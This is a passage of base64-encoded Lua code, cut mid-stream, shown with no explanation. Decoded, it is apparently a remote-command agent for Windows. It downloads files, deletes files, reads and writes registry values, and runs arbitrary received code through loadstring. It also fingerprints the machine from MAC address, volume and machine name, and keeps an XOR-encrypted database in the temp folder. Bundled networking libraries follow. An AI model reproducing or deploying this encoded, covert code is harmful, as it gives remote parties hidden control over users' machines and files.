ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
